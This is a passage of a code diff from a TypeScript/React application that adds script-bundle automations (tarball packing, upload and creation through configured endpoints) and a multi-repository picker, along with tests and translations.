expect(members[0].name).toBe(name); + }); + + it("refuses a name that would not fit a ustar header", () => { + // Arrange + const name = `${"nested/".repeat(15)}main.py`; + + // Act + Assert + expect(() => packTar([{ name, content: "" }])).toThrow(/name too long/); + }); + + it("is byte-identical for identical input, so an unchanged bundle re-uploads unchanged", () => { + // Act + const first = packTar([{ name: "main.py", content: "print(1)\n" }]); + const second = packTar([{ name: "main.py", content: "print(1)\n" }]); + + // Assert + expect(Buffer.from(first)).toEqual(Buffer.from(second)); + }); +}); + +describe("packTarGzip", () => { + it("produces gzip that decompresses to the same archive", async () => { + // Arrange + const files = [{ name: "main.py", content: "print('hi')\n" }]; + + // Act + const compressed = await packTarGzip(files); + + // Assert + expect(compressed[0]).toBe(0x1f); + expect(compressed[1]).toBe(0x8b); + expect(readTar(new Uint8Array(gunzipSync(compressed)))).toEqual( + readTar(packTar(files)), + ); + }); +}); diff --git a/src/api/automation-service/automation-service.api.ts b/src/api/automation-service/automation-service.api.ts index b7601f632739..f3584595f891 100644 --- a/src/api/automation-service/automation-service.api.ts +++ b/src/api/automation-service/automation-service.api.ts @@ -20,7 +20,10 @@ import type { GitSyncStatus, GitSyncTriggerResponse, } from "#/types/git-sync"; -import { automationCreateEndpoint } from "#/manifests/automation-setup"; +import { + automationCreateEndpoint, + automationUploadEndpoint, +} from "#/manifests/automation-setup"; import { getAutomationEndpoint, getAutomationIdEndpoint, @@ -28,6 +31,7 @@ import { } from "#/manifests/automation-interface"; import type { DeploymentCapabilities, + SetupEntry, SetupRequestBody, ValidateDraftResponse, } from "#/manifests/types"; @@ -585,9 +589,11 @@ class AutomationService { */ static async createAutomationDraft( body: SetupRequestBody, + /** The entry the draft came from, which decides the create endpoint. */ + entry?: SetupEntry, ): Promise> { const active = getActiveBackend().backend; - const path = `${AUTOMATION_BASE_PATH}${automationCreateEndpoint()}`; + const path = `${AUTOMATION_BASE_PATH}${automationCreateEndpoint(entry)}`; if (active.kind === "cloud") { return callCloudProxy>({ @@ -606,6 +612,69 @@ class AutomationService { return data; } + /** + * Upload a packed bundle, and return the `oh-internal://` path the create + * call references. + * + * The body is the archive itself rather than a multipart form - the service + * streams it and takes its metadata from the query string, so it never has + * to buffer the whole file to start writing. + */ + static async uploadAutomationTarball( + name: string, + archive: Uint8Array, + ): Promise { + const active = getActiveBackend().backend; + const path = + `${AUTOMATION_BASE_PATH}${automationUploadEndpoint()}` + + `?name=${encodeURIComponent(name)}`; + const headers = { "Content-Type": "application/gzip" }; + + let upload: Record; + if (active.kind === "cloud") { + // Post the archive straight to the cloud host rather than through the + // cloud client: that client JSON-serializes any non-FormData body, which + // would turn the gzip `Uint8Array` into `{"0":31,...}` even though the + // header says `application/gzip`. Axios preserves the raw bytes (its + // `transformRequest` sends the underlying buffer), so the service still + // receives the archive as the stream it expects, with metadata in the + // query string. This upload sets no host override, so a direct call + // matches the cloud client's own direct-to-host path -- we just add the + // two headers that path would (`Bearer` auth and `X-Org-Id`). + const { orgId } = getActiveBackend(); + upload = ( + await axios.post>( + `${active.host.replace(/\/+$/, "")}${path}`, + archive, + { + headers: { + ...(await buildAutomationRequestHeaders()), + ...headers, + ...(active.apiKey + ? { Authorization: `Bearer ${active.apiKey}` } + : {}), + ...(orgId ? { "X-Org-Id": orgId } : {}), + }, + }, + ) + ).data; + } else { + upload = ( + await localAutomationAxios.post>( + path, + archive, + { headers }, + ) + ).data; + } + + const tarballPath = upload.tarball_path; + if (typeof tarballPath !== "string" || !tarballPath) { + throw new Error("The upload returned no tarball path."); + } + return tarballPath; + } + // Git sync paths are literal rather than routed through // `getAutomationEndpoint`. That manifest describes the automation surface a // host may remap, and `InterfaceEndpoints` requires every key it declares -- diff --git a/src/components/features/manifest/manifest-form-field.tsx b/src/components/features/manifest/manifest-form-field.tsx index 14a37c04762a..16ee5f1158a3 100644 --- a/src/components/features/manifest/manifest-form-field.tsx +++ b/src/components/features/manifest/manifest-form-field.tsx @@ -7,16 +7,20 @@ import { I18nKey } from "#/i18n/declaration"; import { formControlMultilineFieldClassName } from "#/utils/form-control-classes"; import { cn } from "#/utils/utils"; import type { GitRepository } from "#/types/git"; +import { fieldText, fieldValues } from "#/manifests/manifest-local-validation"; +import { SetupRepositoryList } from "./manifest-repository-list"; import type { SetupFieldOption, SetupFormField as SetupFormFieldDefinition, + SetupFormValue, } from "#/manifests/types"; export interface SetupFormFieldProps { /** The record key the field is declared under, and what `{{form.x}}` reads. */ name: string; field: SetupFormFieldDefinition; - value: string; + /** A list for a field collecting several values, a string for the rest. */ + value: SetupFormValue; /** Already-resolved copy: local checks and service errors look the same here. */ error?: string; /** Declared options, or the ones the deployment supplied. */ @@ -24,7 +28,7 @@ export interface SetupFormFieldProps { /** The picked repository, kept so the picker can show what is selected. */ repository: GitRepository | null; disabled: boolean; - onChange: (value: string) => void; + onChange: (value: SetupFormValue) => void; onRepositoryChange: (repository: GitRepository | null) => void; onBlur: () => void; } @@ -60,6 +64,31 @@ export function SetupFormField({ // local-only, which makes that the common case rather than the edge one. const canListRepositories = backend.kind === "cloud"; + // The format hint is host copy: a manifest states the format of everything it + // declares except a repository, whose shape the host derives. + const repositoryPlaceholder = + field.placeholder ?? t(I18nKey.SETUP$REPOSITORY_PLACEHOLDER); + + if (field.type === "repo-picker" && field.multiple) { + return ( +
    + + + + {help} +
    + ); + } + if (field.type === "repo-picker" && canListRepositories) { return (
    @@ -67,7 +96,7 @@ export function SetupFormField({ { @@ -99,7 +128,7 @@ export function SetupFormField({ key: option.value, label: option.label, }))} - selectedKey={value || undefined} + selectedKey={fieldText(value) || undefined} placeholder={field.placeholder} isDisabled={disabled} required={field.required} @@ -122,7 +151,7 @@ export function SetupFormField({ data-testid={testId} name={name} rows={4} - value={value} + value={fieldText(value)} placeholder={field.placeholder} disabled={disabled} aria-invalid={!!error} @@ -145,10 +174,7 @@ export function SetupFormField({ // states the format of everything it declares except the repository, whose // shape the host derives, so that one hint is host copy. const placeholder = - field.placeholder ?? - (field.type === "repo-picker" - ? t(I18nKey.SETUP$REPOSITORY_PLACEHOLDER) - : undefined); + field.type === "repo-picker" ? repositoryPlaceholder : field.placeholder; return (
    @@ -157,7 +183,7 @@ export function SetupFormField({ name={name} type="text" label={field.label} - value={value} + value={fieldText(value)} placeholder={placeholder} isDisabled={disabled} showRequiredTag={field.required} diff --git a/src/components/features/manifest/manifest-repository-list.tsx b/src/components/features/manifest/manifest-repository-list.tsx new file mode 100644 index 000000000000..189ca4ab5782 --- /dev/null +++ b/src/components/features/manifest/manifest-repository-list.tsx @@ -0,0 +1,141 @@ +import { useState } from "react"; +import { useTranslation } from "react-i18next"; +import { BrandButton } from "#/components/features/settings/brand-button"; +import { SettingsInput } from "#/components/features/settings/settings-input"; +import { GitRepoDropdown } from "#/components/features/home/git-repo-dropdown"; +import { I18nKey } from "#/i18n/declaration"; +import type { SetupFormField as SetupFormFieldDefinition } from "#/manifests/types"; + +export interface SetupRepositoryListProps { + name: string; + field: SetupFormFieldDefinition; + values: string[]; + /** Whether this backend can list the user's repositories to pick from. */ + canListRepositories: boolean; + placeholder?: string; + disabled: boolean; + onChange: (values: string[]) => void; + onBlur: () => void; +} + +/** + * A repository field that collects several repositories. + * + * One automation polling several repositories is the shape the entry asked + * for; the alternative is one automation each, with the trigger label, tone and + * schedule restated every time. Added repositories are listed above the input + * that adds them, each removable, because the list is the answer and the input + * is only how it is built. + * + * A repository already in the list is not added twice: the entry would poll it + * twice per run for one result. + */ +export function SetupRepositoryList({ + name, + field, + values, + canListRepositories, + placeholder, + disabled, + onChange, + onBlur, +}: SetupRepositoryListProps) { + const { t } = useTranslation("openhands"); + const [draft, setDraft] = useState(""); + + const add = (value: string) => { + const entry = value.trim(); + if (!entry || values.includes(entry)) return; + onChange([...values, entry]); + setDraft(""); + onBlur(); + }; + + const remove = (value: string) => { + onChange(values.filter((item) => item !== value)); + onBlur(); + }; + + return ( +
    + {values.length > 0 && ( +
      + {values.map((value) => ( +
    • + {value} + remove(value)} + > + {t(I18nKey.COMMON$REMOVE)} + +
    • + ))} +
    + )} + + {canListRepositories ? ( + { + if (selected?.full_name) add(selected.full_name); + }} + /> + ) : ( +
    +
    + { + if (event.key !== "Enter") return; + // Enter adds a repository rather than submitting the dialog, + // which would create the automation from a half-built list. + event.preventDefault(); + add(draft); + }} + // A repository typed but not added is still an answer the user + // gave: leaving the input commits it, rather than dropping it on + // the way to a Continue that reads the list alone. + onBlur={() => add(draft)} + /> +
    + add(draft)} + > + {t(I18nKey.BUTTON$ADD)} + +
    + )} +
    + ); +} diff --git a/src/components/features/manifest/manifest-review-step.tsx b/src/components/features/manifest/manifest-review-step.tsx index f9b7a1ba546e..8b8f42dc03e4 100644 --- a/src/components/features/manifest/manifest-review-step.tsx +++ b/src/components/features/manifest/manifest-review-step.tsx @@ -1,6 +1,9 @@ import { useTranslation } from "react-i18next"; import { I18nKey } from "#/i18n/declaration"; -import { collectFields } from "#/manifests/manifest-local-validation"; +import { + collectFields, + fieldValues, +} from "#/manifests/manifest-local-validation"; import type { SetupBlock, SetupFormValues } from "#/manifests/types"; export interface SetupReviewStepProps { @@ -26,7 +29,9 @@ export function SetupReviewStep({ setup, values }: SetupReviewStepProps) {
    {field.label}
    - {(values[name] ?? "").trim() || t(I18nKey.SETUP$EMPTY_VALUE)} + {/* A field collecting several values reads as a list of them. */} + {fieldValues(values[name]).join(", ") || + t(I18nKey.SETUP$EMPTY_VALUE)}
    ))} diff --git a/src/components/features/manifest/manifest-setup-dialog.tsx b/src/components/features/manifest/manifest-setup-dialog.tsx index 7092e22c9494..e326911ee7bc 100644 --- a/src/components/features/manifest/manifest-setup-dialog.tsx +++ b/src/components/features/manifest/manifest-setup-dialog.tsx @@ -17,6 +17,7 @@ import { useSetupAction } from "#/manifests/manifest-actions"; import { buildCreatePayload, deriveErrorMap, + missingCreateEndpoints, } from "#/manifests/automation-setup"; import { collectFields, @@ -37,6 +38,7 @@ import { findAutomationCommand } from "#/utils/automation-catalog"; import type { GitRepository } from "#/types/git"; import type { SetupEntry, + SetupFormValue, SetupFormValues, SetupMode, SetupRequestBody, @@ -139,7 +141,18 @@ export function SetupDialog({ entry, onClose }: SetupDialogProps) { trackAutomationSetupOpened({ automationId: entry.id }); }, [entry.id, trackAutomationSetupOpened]); - const isUnsupported = capabilities.supported === false; + // An entry the published interface cannot create is refused here rather than + // at the moment of creating: a bundle needs two endpoints a manifest from + // before bundles does not declare, and no answer the user gives supplies + // them. Named alongside the deployment's own unmet requirements, because + // "which one" is the only thing that makes either diagnosable. + const missingEndpoints = useMemo( + () => missingCreateEndpoints(entry), + [entry], + ); + const isUnsupported = + capabilities.supported === false || missingEndpoints.length > 0; + const unmet = [...capabilities.unmet, ...missingEndpoints]; const showPrerequisites = prerequisites.blockingIntegrations.length > 0 || prerequisites.warningIntegrations.length > 0; @@ -148,7 +161,7 @@ export function SetupDialog({ entry, onClose }: SetupDialogProps) { const currentStep: SetupStep = step === "prerequisites" && !showPrerequisites ? "form" : step; - const setFieldValue = (name: string, value: string) => { + const setFieldValue = (name: string, value: SetupFormValue) => { valuesRef.current = { ...valuesRef.current, [name]: value }; setValues(valuesRef.current); setLocalErrors(({ [name]: _removed, ...rest }) => rest); @@ -287,12 +300,12 @@ export function SetupDialog({ entry, onClose }: SetupDialogProps) { translated. Without them the block is undiagnosable: the deployment answered, and the host would be discarding the one thing it learned. */} - {capabilities.unmet.length > 0 && ( + {unmet.length > 0 && (

    - {capabilities.unmet.join(", ")} + {unmet.join(", ")}

    )}
    diff --git a/src/components/features/settings/settings-input.tsx b/src/components/features/settings/settings-input.tsx index 7c60252a918b..dbe748d1f5d5 100644 --- a/src/components/features/settings/settings-input.tsx +++ b/src/components/features/settings/settings-input.tsx @@ -25,6 +25,12 @@ interface SettingsInputProps { /** Validation message shown when pattern doesn't match */ title?: string; labelClassName?: string; + /** + * The input's accessible name, for the caller that renders the visible label + * itself. Only for those: a field labelled by this component reads its label, + * and two names would disagree. + */ + ariaLabel?: string; /** ARIA describedby attribute for accessibility */ ariaDescribedBy?: string; /** ARIA invalid attribute for accessibility */ @@ -70,6 +76,7 @@ export const SettingsInput = forwardRef( pattern, title, labelClassName, + ariaLabel, ariaDescribedBy, ariaInvalid, error, @@ -119,6 +126,7 @@ export const SettingsInput = forwardRef( required={required} pattern={pattern} title={title} + aria-label={ariaLabel} aria-describedby={errorId ?? ariaDescribedBy} aria-invalid={!!error || ariaInvalid} className={cn( diff --git a/src/hooks/use-manifest-preflight.ts b/src/hooks/use-manifest-preflight.ts index 17afabf9f07d..713947702466 100644 --- a/src/hooks/use-manifest-preflight.ts +++ b/src/hooks/use-manifest-preflight.ts @@ -58,13 +58,19 @@ export function useSetupPreflight(entry: SetupEntry) { async ( formValues: SetupFormValues, ): Promise => { - const body = buildPreflightBody(entry, formValues); - if (!body) return null; + try { + // Deriving the body is inside the guard too: a bundle entry resolves + // the create endpoint here, and an interface manifest published before + // bundles declares none. That is the same "cannot be checked" as a + // validator that will not answer, and left outside it rejected a + // promise no caller handles - which reads as a Continue button that + // does nothing at all. + const body = buildPreflightBody(entry, formValues); + if (!body) return null; - latestRequestRef.current += 1; - const requestId = latestRequestRef.current; + latestRequestRef.current += 1; + const requestId = latestRequestRef.current; - try { const result = await AutomationService.validateDraft(body); if (requestId !== latestRequestRef.current) return null; if (result?.valid) return NO_ERRORS; diff --git a/src/i18n/translation.json b/src/i18n/translation.json index 4ff27aa76720..a698002aea3d 100644 --- a/src/i18n/translation.json +++ b/src/i18n/translation.json @@ -36430,6 +36430,23 @@ "uk": "owner/repo", "ca": "owner/repo" }, + "SETUP$REPOSITORY_COUNT": { + "en": "{{total}} repositories", + "ja": "{{total}} 個のリポジトリ", + "zh-CN": "{{total}} 个仓库", + "zh-TW": "{{total}} 個儲存庫", + "ko-KR": "저장소 {{total}}개", + "no": "{{total}} repositorier", + "it": "{{total}} repository", + "pt": "{{total}} repositórios", + "es": "{{total}} repositorios", + "ar": "{{total}} مستودعات", + "fr": "{{total}} dépôts", + "tr": "{{total}} depo", + "de": "{{total}} Repositorys", + "uk": "{{total}} репозиторіїв", + "ca": "{{total}} repositoris" + }, "FEATURED_AUTOMATIONS$PIN": { "en": "Pin to dashboard", "ja": "ダッシュボードにピン留め", diff --git a/src/manifests/automation-interface.ts b/src/manifests/automation-interface.ts index 9297da66f360..23f3500c366c 100644 --- a/src/manifests/automation-interface.ts +++ b/src/manifests/automation-interface.ts @@ -117,8 +117,13 @@ export function automationTemplatesPath(): string { return MOUNTED_ROUTES.templates; } +/** + * A declared endpoint path. Empty for one the manifest may omit - the two a + * bundle needs were added after the block shipped - so a caller that needs one + * says so rather than reading a host-held default that does not exist. + */ export function getAutomationEndpoint(name: InterfaceEndpointName): string { - return requireInterface().endpoints[name]; + return requireInterface().endpoints[name] ?? ""; } /** An id-parameterized endpoint with `{id}` substituted, encoded. */ diff --git a/src/manifests/automation-setup.ts b/src/manifests/automation-setup.ts index 8865893e98b8..9dad19f8b512 100644 --- a/src/manifests/automation-setup.ts +++ b/src/manifests/automation-setup.ts @@ -13,12 +13,19 @@ * so any divergence is a hard 422 rather than a dropped field. */ +import i18n from "#/i18n"; +import { I18nKey } from "#/i18n/declaration"; import { findAutomationCommand } from "#/utils/automation-catalog"; import { getAutomationEndpoint } from "./automation-interface"; -import { collectFields } from "./manifest-local-validation"; -import { interpolateText } from "./manifest-template"; +import { + collectFields, + fieldText, + fieldValues, +} from "./manifest-local-validation"; +import { interpolateText, interpolateValue } from "./manifest-template"; import type { SetupBlock, + SetupBundleConfigValue, SetupEntry, SetupFormValues, SetupRequestBody, @@ -29,11 +36,75 @@ import type { * The creation endpoint a derived draft would be posted to. Resolved on call * rather than at import, because the endpoint is the interface manifest's and * this module loads whether or not one was admitted. + * + * A bundle entry is created through the raw endpoint, because what it sends is + * a tarball it uploaded rather than arguments to a preset. Called without an + * entry - as the import path does - it answers for a prompt. */ -export function automationCreateEndpoint(): string { +export function automationCreateEndpoint(entry?: SetupEntry): string { + if (entry && isBundleEntry(entry)) { + return requireBundleEndpoint("createBundle"); + } return getAutomationEndpoint("createPrompt"); } +/** Where a bundle's tarball is uploaded, before the create call. */ +export function automationUploadEndpoint(): string { + return requireBundleEndpoint("uploads"); +} + +/** The endpoints a bundle entry cannot be created without. */ +const BUNDLE_ENDPOINTS = ["createBundle", "uploads"] as const; + +/** + * An endpoint only a bundle needs. The interface manifest may predate bundles, + * and the host holds no path of its own to fall back to, so this is where that + * runs out rather than somewhere deep in a request. + */ +function requireBundleEndpoint( + name: (typeof BUNDLE_ENDPOINTS)[number], +): string { + const path = getAutomationEndpoint(name); + if (!path) { + throw new Error( + `The published automation interface declares no '${name}' endpoint, ` + + "so this deployment cannot create an automation from a script bundle.", + ); + } + return path; +} + +/** + * The endpoints this entry needs that the published interface does not declare. + * + * Asked before the form renders rather than discovered at the moment of + * creating: a pinned package that predates bundles can never answer, and the + * dialog can say so while nothing has been filled in yet. Empty for every + * entry that is not a bundle, which needs nothing beyond what the block has + * always declared. + */ +export function missingCreateEndpoints(entry: SetupEntry): string[] { + if (!isBundleEntry(entry)) return []; + return BUNDLE_ENDPOINTS.filter((name) => !getAutomationEndpoint(name)); +} + +/** Whether this entry ships a script tarball instead of a prompt. */ +export function isBundleEntry(entry: SetupEntry): boolean { + return entry.setup.mode === "direct" && entry.setup.bundle !== undefined; +} + +/** + * The `tarball_path` a preflight draft carries. + * + * Preflight runs on every field blur and the upload happens once, at submit, + * so there is no real path to send yet. The service checks this field's scheme + * at preflight and its ownership only at creation, so a well-formed stand-in + * validates exactly what preflight is for - the rest of the body - without + * uploading an archive per keystroke. + */ +export const PREFLIGHT_TARBALL_PATH = + "oh-internal://uploads/00000000-0000-0000-0000-000000000000"; + /** * Trigger properties a form field may fill, per trigger kind. A field under a * trigger kind whose name is listed here fills the trigger property of the same @@ -67,6 +138,31 @@ function findRepoPickerField(setup: SetupBlock) { return match ? { name: match[0], field: match[1] } : null; } +/** Every repository the form collected, whether the picker takes one or many. */ +function repositories(setup: SetupBlock, values: SetupFormValues): string[] { + const picker = findRepoPickerField(setup); + return picker ? fieldValues(values[picker.name]) : []; +} + +/** + * The created automation's name. + * + * One repository is worth naming; several are not, so the count stands in + * rather than a list of names that would not fit. + */ +function deriveName(entry: SetupEntry, values: SetupFormValues): string { + const repos = repositories(entry.setup, values); + if (repos.length === 0) return entry.name; + if (repos.length === 1) return `${entry.name} - ${repos[0]}`; + // The count is the one word here the host writes rather than reads off the + // entry, so it is translated. There is no translator to pass in: the + // derivation runs from a memo, an upload and a test alike. + const count = i18n.t(I18nKey.SETUP$REPOSITORY_COUNT, { + total: repos.length, + }); + return `${entry.name} - ${count}`; +} + /** The single trigger kind a direct entry declares, with its fields. */ function getTrigger(setup: SetupBlock) { const entries = Object.entries(setup.form.triggers ?? {}); @@ -89,52 +185,143 @@ function getTrigger(setup: SetupBlock) { export function buildCreatePayload( entry: SetupEntry, values: SetupFormValues, + /** Bundle entries only: what the upload returned. */ + tarballPath: string = PREFLIGHT_TARBALL_PATH, ): SetupRequestBody | null { const { setup } = entry; - if (setup.mode !== "direct" || !setup.prompt) return null; + if (setup.mode !== "direct") return null; + if (setup.bundle) return buildBundlePayload(entry, values, tarballPath); + if (!setup.prompt) return null; const scope = { form: values, automation: entry }; const repoPicker = findRepoPickerField(setup); - const repository = repoPicker ? values[repoPicker.name] : undefined; + const repos = repositories(setup, values); const payload: SetupRequestBody = { - name: repository ? `${entry.name} - ${repository}` : entry.name, + name: deriveName(entry, values), prompt: interpolateText(setup.prompt, scope), }; - if (repository && repoPicker?.field.provider) { + if (repos.length > 0 && repoPicker?.field.provider) { const declared = REPO_PROPERTIES.filter((name) => name in values); - payload.repos = [ - { - url: repository, - ...Object.fromEntries(declared.map((name) => [name, values[name]])), - provider: repoPicker.field.provider, - }, - ]; + payload.repos = repos.map((url) => ({ + url, + ...Object.fromEntries( + declared.map((name) => [name, fieldText(values[name])]), + ), + provider: repoPicker.field.provider as string, + })); } - const trigger = getTrigger(setup); - if (trigger) { - const properties = TRIGGER_PROPERTIES[trigger.kind]; - const declared = Object.keys(trigger.fields).filter((name) => - properties.includes(name), - ); + // A filter is optional: an entry that declares none accepts every delivered + // event, so the key is left off rather than sent empty. + const trigger = buildTrigger(entry, values); + if (trigger) payload.trigger = trigger; + + return payload; +} - payload.trigger = { - type: trigger.kind, - ...Object.fromEntries(declared.map((name) => [name, values[name] ?? ""])), - ...(trigger.kind === "event" && { - source: repoPicker?.field.provider ?? "", - // A filter is optional: an entry that declares none accepts every - // delivered event, so the key is left off rather than sent empty. - ...(setup.filter && { filter: interpolateText(setup.filter, scope) }), +/** + * The `trigger` object, read off the key and fields under `form.triggers`. + * + * Identical for both kinds of direct entry: only the create endpoint and what + * the automation is told to do differ between a prompt and a bundle. + */ +function buildTrigger( + entry: SetupEntry, + values: SetupFormValues, +): SetupRequestBody | undefined { + const trigger = getTrigger(entry.setup); + if (!trigger) return undefined; + + const properties = TRIGGER_PROPERTIES[trigger.kind]; + const declared = Object.keys(trigger.fields).filter((name) => + properties.includes(name), + ); + const repoPicker = findRepoPickerField(entry.setup); + + return { + type: trigger.kind, + ...Object.fromEntries( + declared.map((name) => [name, fieldText(values[name])]), + ), + ...(trigger.kind === "event" && { + source: repoPicker?.field.provider ?? "", + ...(entry.setup.filter && { + filter: interpolateText(entry.setup.filter, { + form: values, + automation: entry, + }), }), - }; - } + }), + }; +} + +/** + * The raw create body a bundle entry produces. + * + * `tarball_path` is the one value neither declared nor derived: the host packs + * and uploads the bundle first, and creates from what came back. `template` is + * the provenance that makes enabling the same entry twice return the + * automation that already exists rather than a second one. + * + * There is no `repos`: the raw endpoint has no such field, and a bundle's + * script fetches what it needs itself. + */ +function buildBundlePayload( + entry: SetupEntry, + values: SetupFormValues, + tarballPath: string, +): SetupRequestBody { + const bundle = entry.setup.bundle!; + const scope = { form: values, automation: entry }; + + const payload: SetupRequestBody = { + name: deriveName(entry, values), + }; + + const trigger = buildTrigger(entry, values); + if (trigger) payload.trigger = trigger; + + payload.tarball_path = tarballPath; + payload.entrypoint = bundle.entrypoint; + if (bundle.setupScript) payload.setup_script_path = bundle.setupScript; + if (bundle.timeout !== undefined) payload.timeout = bundle.timeout; + payload.template = { + id: entry.id, + version: bundle.version, + config: interpolateConfig(bundle.config, scope) as SetupRequestBody, + }; return payload; } +/** + * Placeholder substitution over the config tree. Only string leaves are + * templated; a number, a boolean or a null is written through as itself, so an + * entry can state a value the script reads as the type it expects. + */ +function interpolateConfig( + node: SetupBundleConfigValue, + scope: Parameters[1], +): SetupBundleConfigValue { + if (typeof node === "string") { + return interpolateValue(node, scope); + } + if (Array.isArray(node)) { + return node.map((item) => interpolateConfig(item, scope)); + } + if (typeof node === "object" && node !== null) { + return Object.fromEntries( + Object.entries(node).map(([key, value]) => [ + key, + interpolateConfig(value, scope), + ]), + ); + } + return node; +} + /** * The preflight body the host sends. The same shape for every entry, so no * entry declares it. @@ -148,7 +335,7 @@ export function buildPreflightBody( return { automationId: entry.id, - endpoint: automationCreateEndpoint(), + endpoint: automationCreateEndpoint(entry), draft, }; } diff --git a/src/manifests/interface-validation.ts b/src/manifests/interface-validation.ts index 8a7720389f77..86d6efb38b24 100644 --- a/src/manifests/interface-validation.ts +++ b/src/manifests/interface-validation.ts @@ -65,6 +65,12 @@ const PLAIN_ENDPOINT_NAMES = [ "createPrompt", "createPlugin", ] as const; +// Endpoints added after the block shipped. A manifest published before them is +// still admitted - requiring them would 404 the whole surface for anyone +// pinning an older package - so they are checked only when present, and a +// bundle entry, which is the only thing that needs them, fails on its own if +// its manifest predates them. +const OPTIONAL_PLAIN_ENDPOINT_NAMES = ["createBundle", "uploads"] as const; const ID_ENDPOINT_NAMES = ["detail", "dispatch", "runs", "tarball"] as const; export interface InterfaceValidationContext { @@ -623,7 +629,11 @@ function checkImportExport( function checkEndpoints(check: InterfaceChecker, endpoints: unknown): void { if (!check.record(endpoints, "endpoints")) return; - const allowed = [...PLAIN_ENDPOINT_NAMES, ...ID_ENDPOINT_NAMES]; + const allowed = [ + ...PLAIN_ENDPOINT_NAMES, + ...OPTIONAL_PLAIN_ENDPOINT_NAMES, + ...ID_ENDPOINT_NAMES, + ]; check.closed(endpoints, allowed, "endpoints"); const endpointAt = (name: string): string | null => { @@ -639,7 +649,11 @@ function checkEndpoints(check: InterfaceChecker, endpoints: unknown): void { return value; }; - PLAIN_ENDPOINT_NAMES.forEach((name) => { + const plainNames = [ + ...PLAIN_ENDPOINT_NAMES, + ...OPTIONAL_PLAIN_ENDPOINT_NAMES.filter((name) => name in endpoints), + ]; + plainNames.forEach((name) => { const value = endpointAt(name); if (value !== null && /[{}]/.test(value)) { check.fail(`endpoints.${name}`, "must not carry a substitution"); diff --git a/src/manifests/manifest-actions.ts b/src/manifests/manifest-actions.ts index 4f5daf88e2c8..444f45685d6d 100644 --- a/src/manifests/manifest-actions.ts +++ b/src/manifests/manifest-actions.ts @@ -6,9 +6,14 @@ * It chooses between the two outcomes this host offers, and it chooses by * declaring a `mode`: a direct entry produces a create request the host derives, * an assisted entry hands setup to a conversation. + * + * A direct entry that ships a bundle takes one more step before that create + * request - packing and uploading the archive - but it still names no host, no + * path and no method: the endpoints come from the interface manifest and the + * files from the published package. */ -import { useCallback } from "react"; +import { useCallback, useRef } from "react"; import AutomationService from "#/api/automation-service/automation-service.api"; import { useCreateConversation } from "#/hooks/mutation/use-create-conversation"; import { useConversationStore } from "#/stores/conversation-store"; @@ -16,7 +21,12 @@ import { setConversationState, setPendingTaskDraft, } from "#/utils/conversation-local-storage"; -import { buildAssistedMessage } from "./automation-setup"; +import { + buildAssistedMessage, + buildCreatePayload, + isBundleEntry, +} from "./automation-setup"; +import { packBundle } from "./manifest-bundle"; import type { SetupEntry, SetupFormValues, SetupRequestBody } from "./types"; export interface SetupActionResult { @@ -30,6 +40,14 @@ export function useSetupAction() { (state) => state.setMessageToSend, ); + // The last archive uploaded, and what the service called it. An upload that + // is followed by a create the service rejects cannot be taken back - the + // interface declares no endpoint for that - so confirming again after + // correcting a field sends the archive that is already there rather than + // leaving another copy of it behind. The archive is a pure function of the + // entry and the answers, which is what makes the key sound. + const uploadedRef = useRef<{ key: string; path: string } | null>(null); + const startConversation = useCallback( async (message: string): Promise => { const conversation = await createConversation.mutateAsync({}); @@ -63,7 +81,33 @@ export function useSetupAction() { if (!payload) { return startConversation(buildAssistedMessage(entry, values)); } - const response = await AutomationService.createAutomationDraft(payload); + + // A bundle entry ships a script rather than a prompt, so what it creates + // from is an archive: pack it with the rendered config, upload it, and + // create against the path that came back. The payload built for the form + // carries a stand-in path, which is replaced here with the real one. + if (isBundleEntry(entry)) { + const key = `${entry.id}\n${JSON.stringify(values)}`; + let tarballPath = uploadedRef.current?.path ?? null; + if (uploadedRef.current?.key !== key || tarballPath === null) { + const archive = await packBundle(entry, values); + tarballPath = await AutomationService.uploadAutomationTarball( + entry.id, + archive, + ); + uploadedRef.current = { key, path: tarballPath }; + } + const body = buildCreatePayload(entry, values, tarballPath); + if (!body) throw new Error(`'${entry.id}' produced no create request.`); + return { + response: await AutomationService.createAutomationDraft(body, entry), + }; + } + + const response = await AutomationService.createAutomationDraft( + payload, + entry, + ); return { response }; }, [startConversation], diff --git a/src/manifests/manifest-bundle.ts b/src/manifests/manifest-bundle.ts new file mode 100644 index 000000000000..777cbbbe6aba --- /dev/null +++ b/src/manifests/manifest-bundle.ts @@ -0,0 +1,104 @@ +/** + * Packing what a bundle entry ships. + * + * A bundle's manifest names its files by the repository path they live at; the + * contents travel in the published `@openhands/extensions` package, because + * this host has the package and not the repository. That indirection is the + * whole reason this module exists: everything else about a bundle is derived + * the same way a prompt entry's request is. + */ + +import * as automations from "@openhands/extensions/automations"; +import { packTarGzip, type TarFile } from "#/utils/tar-gzip"; +import { buildCreatePayload } from "./automation-setup"; +import { BUNDLE_CONFIG_FILENAME } from "./types"; +import type { SetupBundle, SetupEntry, SetupFormValues } from "./types"; + +/** The rendered configuration, packed beside the entrypoint. */ +export { BUNDLE_CONFIG_FILENAME }; + +type BundleFileReader = (id: string) => Record | undefined; + +/** + * The files the pinned package ships for this entry. + * + * Read defensively: a package predating bundles exports no such function, and + * an entry that declares a bundle there would otherwise pack an empty archive + * that fails only once a run tries to execute it. + */ +export function getBundleFiles(id: string): Record { + const read = (automations as { getAutomationBundleFiles?: BundleFileReader }) + .getAutomationBundleFiles; + const files = read?.(id); + if (!files || Object.keys(files).length === 0) { + throw new Error( + `The published extensions package ships no bundle files for '${id}'.`, + ); + } + return files; +} + +/** + * The packed paths the service executes rather than reads. + * + * The setup script is run through a shell, and the entrypoint's first word is + * the program it runs: an entry whose entrypoint is `./main.py` invokes a + * packed file directly, and a file packed non-executable would fail at the + * moment of running rather than at admission. Every later word is an argument + * to that program, so only the first one is a path being executed. + */ +function executablePaths(bundle: SetupBundle): Set { + const program = bundle.entrypoint.trim().split(" ")[0] ?? ""; + const invoked = program.replace(/^\.\//, ""); + return new Set( + [bundle.setupScript, invoked in bundle.files ? invoked : undefined].filter( + (name): name is string => name !== undefined, + ), + ); +} + +/** + * The archive for this entry, with the form's answers rendered into + * `config.json`. + * + * The config is taken from the create payload rather than rendered again here, + * so what the tarball carries and what the create request records as template + * provenance cannot disagree. + */ +export async function packBundle( + entry: SetupEntry, + values: SetupFormValues, +): Promise { + const bundle = entry.setup.bundle; + if (!bundle) throw new Error(`'${entry.id}' declares no bundle.`); + + const contents = getBundleFiles(entry.id); + const missing = Object.keys(bundle.files).filter( + (name) => typeof contents[name] !== "string", + ); + if (missing.length > 0) { + throw new Error( + `The published extensions package is missing bundle files for ` + 